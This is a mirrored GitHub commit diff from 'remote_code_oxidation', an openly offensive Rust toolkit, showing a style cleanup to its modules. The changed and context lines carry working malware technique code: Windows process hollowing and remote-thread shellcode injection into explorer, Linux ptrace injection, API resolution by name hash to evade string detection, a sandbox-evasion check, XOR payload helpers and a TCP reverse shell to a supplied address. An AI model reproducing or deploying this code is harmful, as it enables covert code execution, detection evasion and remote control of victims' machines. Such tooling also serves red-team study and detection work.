mirror of
https://github.com/kmanc/remote_code_oxidation
synced 2026-06-08 15:21:46 +00:00
Code style (#54)
* no substantive changes, just small updates * shouldn't be any real change, just some code style best practices * dunno how this didn't get added to the last commit * Update reverse shell badge data via Github Action * Update process migration badge data via Github Action * Update process hollowing badge data via Github Action Co-authored-by: kmanc <kmanc@users.noreply.github.com>
This commit is contained in:
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"schemaVersion": 1,
|
||||
"label": "process_hollowing",
|
||||
"message": "1.6.2",
|
||||
"message": "1.6.3",
|
||||
"color": "blue"
|
||||
}
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"schemaVersion": 1,
|
||||
"label": "process_migration",
|
||||
"message": "1.8.2",
|
||||
"message": "1.8.3",
|
||||
"color": "blue"
|
||||
}
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"schemaVersion": 1,
|
||||
"label": "tcp_reverse_shell",
|
||||
"message": "1.2.1",
|
||||
"message": "1.2.2",
|
||||
"color": "blue"
|
||||
}
|
||||
Generated
+2
-2
@@ -41,9 +41,9 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "libc"
|
||||
version = "0.2.131"
|
||||
version = "0.2.132"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "04c3b4822ccebfa39c02fc03d1534441b22ead323fa0f48bb7ddd8e6ba076a40"
|
||||
checksum = "8371e4e5341c3a96db127eb2465ac681ced4c433e01dd0e938adbef26ba93ba5"
|
||||
|
||||
[[package]]
|
||||
name = "memoffset"
|
||||
|
||||
@@ -13,3 +13,4 @@ members = [
|
||||
[profile.release]
|
||||
lto = true
|
||||
strip = true
|
||||
panic = "abort"
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "process_hollowing"
|
||||
version = "1.6.2"
|
||||
version = "1.6.3"
|
||||
edition = "2021"
|
||||
authors = ["Kevin Conley <koins@duck.com>"]
|
||||
rust-version = "1.59"
|
||||
|
||||
@@ -1,4 +1,3 @@
|
||||
extern crate nix;
|
||||
use nix::sys::ptrace::{detach, getregs, traceme, write};
|
||||
use nix::sys::wait::{waitpid};
|
||||
use nix::unistd::{execv, fork, ForkResult};
|
||||
|
||||
@@ -1,4 +1,3 @@
|
||||
extern crate windows;
|
||||
use std::{mem, ptr};
|
||||
use std::ffi::{CString, c_void};
|
||||
use windows::core::{PCSTR, PSTR};
|
||||
@@ -36,7 +35,9 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
|
||||
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/fn.CreateProcessA.html
|
||||
let lp_application_name: PCSTR = unsafe { mem::zeroed() };
|
||||
let mut lp_command_line: PSTR = unsafe { mem::zeroed() };
|
||||
lp_command_line.0 = CString::new(target_process).unwrap().into_raw() as *mut u8;
|
||||
lp_command_line.0 = CString::new(target_process)
|
||||
.unwrap()
|
||||
.into_raw() as *mut u8;
|
||||
let lp_current_directory: PCSTR = unsafe { mem::zeroed() };
|
||||
let creation_result = unsafe { CreateProcessA(
|
||||
lp_application_name,
|
||||
@@ -118,20 +119,24 @@ pub fn antistring_hollow_and_run(shellcode: &[u8], target_process: &str) {
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x6fe222ff0e96f5c4).unwrap();
|
||||
let lp_application_name: PCSTR = unsafe { mem::zeroed() };
|
||||
let mut lp_command_line: PSTR = unsafe { mem::zeroed() };
|
||||
lp_command_line.0 = CString::new(target_process).unwrap().into_raw() as *mut u8;
|
||||
lp_command_line.0 = CString::new(target_process)
|
||||
.unwrap()
|
||||
.into_raw() as *mut u8;
|
||||
let lp_current_directory: PCSTR = unsafe { mem::zeroed() };
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(PCSTR, PSTR, *const SECURITY_ATTRIBUTES, *const SECURITY_ATTRIBUTES, bool, PROCESS_CREATION_FLAGS, *const i32, PCSTR, *const STARTUPINFOA, *const PROCESS_INFORMATION) -> BOOL>
|
||||
(function)(lp_application_name,
|
||||
lp_command_line,
|
||||
ptr::null(),
|
||||
ptr::null(),
|
||||
false,
|
||||
CREATE_SUSPENDED,
|
||||
ptr::null(),
|
||||
lp_current_directory,
|
||||
&startup_info,
|
||||
&mut process_information)
|
||||
(function)(
|
||||
lp_application_name,
|
||||
lp_command_line,
|
||||
ptr::null(),
|
||||
ptr::null(),
|
||||
false,
|
||||
CREATE_SUSPENDED,
|
||||
ptr::null(),
|
||||
lp_current_directory,
|
||||
&startup_info,
|
||||
&mut process_information
|
||||
)
|
||||
};
|
||||
|
||||
// See line 76
|
||||
@@ -150,7 +155,13 @@ pub fn antistring_hollow_and_run(shellcode: &[u8], target_process: &str) {
|
||||
let mut address_buffer = [0; POINTER_SIZE];
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(HANDLE, *const c_void, *mut c_void, usize, *mut usize)>
|
||||
(function)(process_handle, image_base_address as *const c_void, address_buffer.as_mut_ptr() as *mut c_void, address_buffer.len(), ptr::null_mut())
|
||||
(function)(
|
||||
process_handle,
|
||||
image_base_address as *const c_void,
|
||||
address_buffer.as_mut_ptr() as *mut c_void,
|
||||
address_buffer.len(),
|
||||
ptr::null_mut()
|
||||
)
|
||||
};
|
||||
|
||||
// See line 96
|
||||
@@ -159,7 +170,13 @@ pub fn antistring_hollow_and_run(shellcode: &[u8], target_process: &str) {
|
||||
let pe_base_address = unsafe { ptr::read(address_buffer.as_ptr() as *const usize) };
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(HANDLE, *const c_void, *mut c_void, usize, *mut usize)>
|
||||
(function)(process_handle, pe_base_address as *const c_void, header_buffer.as_mut_ptr() as *mut c_void, header_buffer.len(), ptr::null_mut())
|
||||
(function)(
|
||||
process_handle,
|
||||
pe_base_address as *const c_void,
|
||||
header_buffer.as_mut_ptr() as *mut c_void,
|
||||
header_buffer.len(),
|
||||
ptr::null_mut()
|
||||
)
|
||||
};
|
||||
if header_buffer[0] != 77 || header_buffer[1] != 90 {
|
||||
panic!("An offset looks incorrect, the DOS header magic bytes don't correspond to 'MZ'");
|
||||
@@ -173,13 +190,21 @@ pub fn antistring_hollow_and_run(shellcode: &[u8], target_process: &str) {
|
||||
let entry_point_address = entry_point_rva as usize + pe_base_address;
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(HANDLE, *const c_void, *const c_void, usize, *mut usize)>
|
||||
(function)(process_handle, entry_point_address as *const c_void, shellcode.as_ptr() as *const c_void, shellcode.len(), ptr::null_mut())
|
||||
(function)(
|
||||
process_handle,
|
||||
entry_point_address as *const c_void,
|
||||
shellcode.as_ptr() as *const c_void,
|
||||
shellcode.len(),
|
||||
ptr::null_mut()
|
||||
)
|
||||
};
|
||||
|
||||
// See line 119
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x9f2eb3a0195b21d).unwrap();
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(HANDLE)>
|
||||
(function)(process_information.hThread)
|
||||
(function)(
|
||||
process_information.hThread
|
||||
)
|
||||
};
|
||||
}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "process_migration"
|
||||
version = "1.8.2"
|
||||
version = "1.8.3"
|
||||
edition = "2021"
|
||||
authors = ["Kevin Conley <koins@duck.com>"]
|
||||
rust-version = "1.59"
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
extern crate nix;
|
||||
|
||||
use nix::sys::ptrace::{attach, detach, getregs, setregs, write};
|
||||
use nix::sys::wait::{waitpid, WaitPidFlag};
|
||||
use nix::unistd::Pid;
|
||||
@@ -8,14 +9,14 @@ use std::process::{self, Command};
|
||||
pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) {
|
||||
// List and collect all of the PIDs of active processes
|
||||
let list_pids = Command::new("ls")
|
||||
.arg("/proc/")
|
||||
.output()
|
||||
.unwrap();
|
||||
.arg("/proc/")
|
||||
.output()
|
||||
.unwrap();
|
||||
let mut pids: Vec<i32> = String::from_utf8(list_pids.stdout)
|
||||
.unwrap()
|
||||
.split('\n')
|
||||
.flat_map(|s| s.parse().ok())
|
||||
.collect();
|
||||
.unwrap()
|
||||
.split('\n')
|
||||
.flat_map(|s| s.parse().ok())
|
||||
.collect();
|
||||
|
||||
// Throw away anything under 100 to try to limit the chances you crash the machine
|
||||
pids.retain(|i| *i > 100 && *i != process::id() as i32);
|
||||
@@ -28,10 +29,10 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) {
|
||||
.output()
|
||||
.unwrap()
|
||||
.stdout;
|
||||
if String::from_utf8(commandline).unwrap().contains(target_process) && attach(Pid::from_raw(*pid)).is_ok() {
|
||||
target_pid = *pid;
|
||||
break;
|
||||
};
|
||||
if String::from_utf8(commandline).unwrap().contains(target_process) && attach(Pid::from_raw(*pid)).is_ok() {
|
||||
target_pid = *pid;
|
||||
break;
|
||||
};
|
||||
}
|
||||
if target_pid == 0 {
|
||||
panic!("Could not find a {target_process} process whose memory can be manipulated");
|
||||
@@ -52,7 +53,7 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) {
|
||||
// Copy the RIP register to a mutable variable, then increment RIP by 2
|
||||
let mut point = registers.rip;
|
||||
registers.rip += 2;
|
||||
|
||||
|
||||
// Write the updated RIP back to the target process
|
||||
if let Err(error) = setregs(target_pid, registers) {
|
||||
panic!("Unable to reset {target_process} registers: {error}");
|
||||
|
||||
@@ -106,7 +106,10 @@ pub fn antistring_inject_and_migrate(shellcode: &[u8], target_process: &str) {
|
||||
process_entry.dwSize = mem::size_of::<PROCESSENTRY32>() as u32;
|
||||
while unsafe {
|
||||
mem::transmute::<*const (), fn(HANDLE, &mut PROCESSENTRY32) -> BOOL>
|
||||
(function)(snapshot, &mut process_entry).as_bool()
|
||||
(function)(
|
||||
snapshot,
|
||||
&mut process_entry
|
||||
).as_bool()
|
||||
} {
|
||||
let mut process_name = String::from("");
|
||||
for element in process_entry.szExeFile {
|
||||
@@ -126,21 +129,37 @@ pub fn antistring_inject_and_migrate(shellcode: &[u8], target_process: &str) {
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x2c116091e452cf52).unwrap();
|
||||
let explorer_handle = unsafe {
|
||||
mem::transmute::<*const (), fn(PROCESS_ACCESS_RIGHTS, bool, u32) -> HANDLE>
|
||||
(function)(PROCESS_ALL_ACCESS, false, pid)
|
||||
(function)(
|
||||
PROCESS_ALL_ACCESS,
|
||||
false,
|
||||
pid
|
||||
)
|
||||
};
|
||||
|
||||
// See line 72
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x5cfd66a14ed9a43).unwrap();
|
||||
let base_address = unsafe {
|
||||
mem::transmute::<*const (), fn(HANDLE, *const u32, usize, VIRTUAL_ALLOCATION_TYPE, PAGE_PROTECTION_FLAGS) -> *const c_void>
|
||||
(function)(explorer_handle, ptr::null(), shellcode.len(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
|
||||
(function)(
|
||||
explorer_handle,
|
||||
ptr::null(),
|
||||
shellcode.len(),
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE
|
||||
)
|
||||
};
|
||||
|
||||
// See line 77
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x2638fa76194bfe63).unwrap();
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(HANDLE, *const c_void, *const c_void, usize, *mut usize)>
|
||||
(function)(explorer_handle, base_address, shellcode.as_ptr() as *const c_void, shellcode.len(), ptr::null_mut())
|
||||
(function)(
|
||||
explorer_handle,
|
||||
base_address,
|
||||
shellcode.as_ptr() as *const c_void,
|
||||
shellcode.len(),
|
||||
ptr::null_mut()
|
||||
)
|
||||
};
|
||||
|
||||
// See line 85
|
||||
@@ -148,6 +167,14 @@ pub fn antistring_inject_and_migrate(shellcode: &[u8], target_process: &str) {
|
||||
let start_address_option = unsafe { Some(mem::transmute(base_address)) };
|
||||
unsafe {
|
||||
mem::transmute::<*const (), fn(HANDLE, *const u32, u32, Option<unsafe extern "system" fn(*mut c_void) -> u32>, *const u32, u32, *mut u32)>
|
||||
(function)(explorer_handle, ptr::null(), 0, start_address_option, ptr::null(), 0, ptr::null_mut())
|
||||
(function)(
|
||||
explorer_handle,
|
||||
ptr::null(),
|
||||
0,
|
||||
start_address_option,
|
||||
ptr::null(),
|
||||
0,
|
||||
ptr::null_mut()
|
||||
)
|
||||
};
|
||||
}
|
||||
|
||||
+32
-26
@@ -3,8 +3,7 @@ use std::error::Error;
|
||||
use std::collections::hash_map::DefaultHasher;
|
||||
#[cfg(feature = "antistring")]
|
||||
use std::hash::{Hash, Hasher};
|
||||
#[cfg(all(windows, any(feature = "antisand", feature = "antistring")))]
|
||||
extern crate windows;
|
||||
|
||||
#[cfg(all(windows, any(feature = "antisand", feature = "antistring")))]
|
||||
use std::ffi::CString;
|
||||
#[cfg(all(windows, any(feature = "antisand", feature = "antistring")))]
|
||||
@@ -13,8 +12,7 @@ use std::mem;
|
||||
use windows::core::PCSTR;
|
||||
#[cfg(all(windows, feature = "antisand", feature = "antistring"))]
|
||||
use core::ffi::c_void;
|
||||
#[cfg(all(windows, feature = "antisand"))]
|
||||
extern crate rand;
|
||||
|
||||
#[cfg(all(windows, feature = "antisand"))]
|
||||
use rand::distributions::Alphanumeric;
|
||||
#[cfg(all(windows, feature = "antisand"))]
|
||||
@@ -38,11 +36,19 @@ use windows::Win32::System::SystemServices::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRE
|
||||
|
||||
#[cfg(feature = "xor")]
|
||||
fn equalize_slice_len<T: std::clone::Clone>(slice_one: &[T], slice_two: &[T]) -> (Vec<T>, Vec<T>) {
|
||||
if slice_one.len() > slice_two.len() {
|
||||
(slice_one.to_vec(), slice_two.iter().cloned().cycle().take(slice_one.len()).collect())
|
||||
} else {
|
||||
(slice_one.iter().cloned().cycle().take(slice_two.len()).collect(), slice_two.to_vec())
|
||||
}
|
||||
let (longer, shorter) = match slice_one.len() > slice_two.len() {
|
||||
true => (slice_one, slice_two),
|
||||
false => (slice_two, slice_one),
|
||||
};
|
||||
(
|
||||
longer.to_vec(),
|
||||
shorter
|
||||
.iter()
|
||||
.cloned()
|
||||
.cycle()
|
||||
.take(longer.len())
|
||||
.collect()
|
||||
)
|
||||
}
|
||||
|
||||
/*
|
||||
@@ -55,9 +61,9 @@ fn xor_u8_slices(slice_one: &[u8], slice_two: &[u8]) -> Result<Vec<u8>, Box<dyn
|
||||
return Err("The given slices are not the same length".into());
|
||||
}
|
||||
Ok(slice_one.iter()
|
||||
.zip(slice_two.iter())
|
||||
.map(|(&x1, &x2)| x1 ^ x2)
|
||||
.collect())
|
||||
.zip(slice_two.iter())
|
||||
.map(|(&x1, &x2)| x1 ^ x2)
|
||||
.collect())
|
||||
}
|
||||
|
||||
/*
|
||||
@@ -115,7 +121,7 @@ pub fn pound_sand() -> bool {
|
||||
lpsz_url.0 = CString::new(full_link).unwrap().into_raw() as *mut u8;
|
||||
let website = unsafe { InternetOpenUrlA(internet_handle, lpsz_url, &[], 0, 0) };
|
||||
if website != 0 as _ {
|
||||
return true
|
||||
return true;
|
||||
}
|
||||
false
|
||||
}
|
||||
@@ -132,9 +138,9 @@ pub fn pound_sand() -> bool {
|
||||
lpsz_agent.0 = CString::new("Name in user-agent").unwrap().into_raw() as *mut u8;
|
||||
let lpsz_proxy: PCSTR = unsafe { mem::zeroed() };
|
||||
let lpsz_proxy_bypass: PCSTR = unsafe { mem::zeroed() };
|
||||
let internet_handle = unsafe {
|
||||
let internet_handle = unsafe {
|
||||
mem::transmute::<*const (), fn(PCSTR, i32, PCSTR, PCSTR, i32) -> *mut c_void>
|
||||
(function)(lpsz_agent, 0, lpsz_proxy, lpsz_proxy_bypass, 0)
|
||||
(function)(lpsz_agent, 0, lpsz_proxy, lpsz_proxy_bypass, 0)
|
||||
};
|
||||
|
||||
let length = rand::thread_rng().gen_range(20..40);
|
||||
@@ -152,12 +158,12 @@ pub fn pound_sand() -> bool {
|
||||
let function = find_function_address("Wininet", 0x275e2d4fe536ed19).unwrap();
|
||||
let mut lpsz_url: PCSTR = unsafe { mem::zeroed() };
|
||||
lpsz_url.0 = CString::new(full_link).unwrap().into_raw() as *mut u8;
|
||||
let website = unsafe {
|
||||
let website = unsafe {
|
||||
mem::transmute::<*const (), fn(*mut c_void, PCSTR, &[u8], u32, usize) -> *mut c_void>
|
||||
(function)(internet_handle, lpsz_url, &[], 0, 0)
|
||||
(function)(internet_handle, lpsz_url, &[], 0, 0)
|
||||
};
|
||||
if website != 0 as _ {
|
||||
return true
|
||||
return true;
|
||||
}
|
||||
false
|
||||
}
|
||||
@@ -211,7 +217,7 @@ pub fn find_function_address(dll: &str, name_hash: u64) -> Result<*const (), Box
|
||||
|
||||
// Calculate the address of the image headers
|
||||
let image_headers: *const IMAGE_NT_HEADERS64 = unsafe { (library_base_usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64 };
|
||||
|
||||
|
||||
// Get the relative virtual address of the export directory
|
||||
let export_directory_rva = unsafe { (*image_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT.0 as usize].VirtualAddress };
|
||||
// Use the RVA to get the real address of the export directory
|
||||
@@ -230,13 +236,13 @@ pub fn find_function_address(dll: &str, name_hash: u64) -> Result<*const (), Box
|
||||
|
||||
// Find the location of the next function name's RVA
|
||||
let function_name_rva_address: *const usize = (names_address + into_names) as *const usize;
|
||||
|
||||
|
||||
// Read the RVA from its location
|
||||
let function_name_rva: u32 = unsafe { ptr::read(function_name_rva_address) as u32 };
|
||||
|
||||
|
||||
// Calculate the function name's real address
|
||||
let function_name_address: *const i8 = (library_base_usize + function_name_rva as usize) as *const i8;
|
||||
|
||||
|
||||
// Read the function name from its address
|
||||
let function_name = unsafe { CStr::from_ptr(function_name_address).to_string_lossy() };
|
||||
|
||||
@@ -249,7 +255,7 @@ pub fn find_function_address(dll: &str, name_hash: u64) -> Result<*const (), Box
|
||||
let ordinals_offset_address: *const usize = (ordinals_address + (into_names / 2_usize)) as *const usize;
|
||||
|
||||
// Read the RVA from its location
|
||||
let ordinal_offset: u16 = unsafe { ptr::read(ordinals_offset_address) as u16};
|
||||
let ordinal_offset: u16 = unsafe { ptr::read(ordinals_offset_address) as u16 };
|
||||
|
||||
// Find the location of the function address in the address array by using the ordinal offset
|
||||
let into_functions = mem::size_of::<u32>() * (ordinal_offset as usize);
|
||||
@@ -258,12 +264,12 @@ pub fn find_function_address(dll: &str, name_hash: u64) -> Result<*const (), Box
|
||||
let function_address_rva_address: *const usize = (functions_address + into_functions) as *const usize;
|
||||
|
||||
// Read the function address's location from memory
|
||||
let function_address_rva: u32 = unsafe { ptr::read(function_address_rva_address) as u32};
|
||||
let function_address_rva: u32 = unsafe { ptr::read(function_address_rva_address) as u32 };
|
||||
|
||||
// Calculate the function's real address
|
||||
let function_address: *const () = (library_base_usize + function_address_rva as usize) as *const ();
|
||||
|
||||
return Ok(function_address)
|
||||
|
||||
return Ok(function_address);
|
||||
}
|
||||
}
|
||||
Err(format!("Could not find the function '{name_hash:x}' in '{dll}'").into())
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "tcp_reverse_shell"
|
||||
version = "1.2.1"
|
||||
version = "1.2.2"
|
||||
edition = "2021"
|
||||
authors = ["Kevin Conley <koins@duck.com>"]
|
||||
rust-version = "1.59"
|
||||
|
||||
@@ -3,7 +3,7 @@ use std::os::unix::io::{AsRawFd, FromRawFd};
|
||||
use std::process::{Command, Stdio};
|
||||
|
||||
pub fn shell(ip: &str, port: u16) {
|
||||
let ip_port = format!("{}:{}", ip, port);
|
||||
let ip_port = format!("{ip}:{port}");
|
||||
|
||||
// Make a TCP stream connection
|
||||
let stream = TcpStream::connect(ip_port).unwrap();
|
||||
|
||||
@@ -1,4 +1,3 @@
|
||||
extern crate windows;
|
||||
use std::{mem, ptr};
|
||||
use std::ffi::{CStr, CString, c_void};
|
||||
use windows::core::{PCSTR, PSTR};
|
||||
|
||||
Reference in New Issue
Block a user